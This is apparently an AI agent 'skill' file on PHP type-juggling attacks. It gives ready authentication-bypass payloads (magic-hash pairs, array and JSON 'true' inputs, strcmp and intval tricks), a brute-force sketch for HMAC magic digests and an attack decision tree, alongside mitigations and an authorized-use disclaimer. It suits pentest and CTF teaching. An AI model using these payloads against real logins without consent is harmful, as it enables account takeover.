Type Juggling

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI LOAD INSTRUCTION: PHP == coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-style strcmp / json_decode / intval tricks. Use strict routing: map the sink (== vs hash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like md5($_GET['x'])==md5($_GET['y']), start with this skill; if hash_equals/=== is already used, this path usually does not apply.

0. QUICK START

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

First-pass payloads (auth / token shape)

password[]=xpassword=00e12345240610708QNKCDZOtrue[]{"password":true}admin%00

Minimal PHP probes (local or php -r in lab)

<?php// Loose compare probes — run in target PHP major version if possiblevar_dump('0e123' == '0e999');var_dump('123a' == 123);var_dump(md5('240610708') == md5('QNKCDZO'));

Routing hints

1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use === or hash_equals() for secrets.

1.1 Core examples (strings vs numbers)

1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.

1.3 Safe alternative (defense / verification)

hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string// or$expected === $actual;

2. MAGIC HASHES (0e… + digits only)

When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.

2.1 Reference table (MD5 / SHA-1 and longer algos)

Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0 → true.

2.2 Exploit pattern in code

if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {    // intended: different strings, same md5 (impossible for md5)    // actual: two different strings whose *digests* are magic hashes}

2.3 Payload sketch (pair hunting)

?a=240610708&b=QNKCDZO

For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.

3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)

If logic uses loose inequality against a constant:

if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }// or == 0, == false with string "0e...", etc.

Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.

Example (MD5-style 0e digest for a numeric message)

# Conceptual: try many timestampsfor t in range(T0, T1):    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):        use t

Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".

4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.

// CTF / broken code mental model:@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.

5. CTF PATTERNS

5.1 strcmp / strcasecmp with arrays

strcmp([], "password");  // NULL in PHP 7/8 (invalid args)// NULL == 0  → true in loose compare if code does:if (strcmp($_GET['p'], $secret) == 0)

Payload:

?p[]=1

5.2 intval bypass

// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)intval("0x1A", 0);   // → 26
// Octal: leading 0 can be parsed as octal with base 0intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float firstintval((float) "1e2"); // → 100

?id=0x1A?id=010?id=1e2

5.3 json_decode + true for associative array auth

{"password": true}

$j = json_decode($input, true);if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules

5.4 is_numeric + loose compare

is_numeric("0e12345");  // true"0e12345" == 0;         // true (scientific notation → 0.0)

5.5 Deserialization + magic properties

Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.

6. DECISION TREE

                         +------------------+                         | PHP loose compare|                         | or hash == hash? |                         +--------+---------+                                  |                    +-------------+-------------+                    |                           |             +------v------+             +------v------+             | Uses === or |             | Uses == or   |             | hash_equals |             | strcmp == 0  |             +------+------+             +------+-------+                    |                           |               STOP (likely)              +-----v-----+                                          | Operand   |                                          | types?    |                                          +-----+-----+                           +--------------+---+--------------+                           |              |                  |                    +------v------+ +-----v-----+    +-------v--------+                    | Both numeric| | One int & |    | Hash digests   |                    | strings 0e… | | one string|    | both 0e\d+ ?   |                    +------+------+ +-----+-----+    +-------+--------+                           |              |                  |                      MAGIC HASH    STRING/INT           MAGIC HASH                      COLLISION     JUGGLING             (md5/sha1/…)                           |              |                  |                           +------+-------+------------------+                                  |                           +------v------+                           | HMAC / MAC  |                           | vs "0"      |                           +------+------+                                  |                           brute $data                           for 0e… digest                                  |                           +------v------+                           | Arrays /    |                           | json true / |                           | strcmp([])  |                           +-------------+

Tool references

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.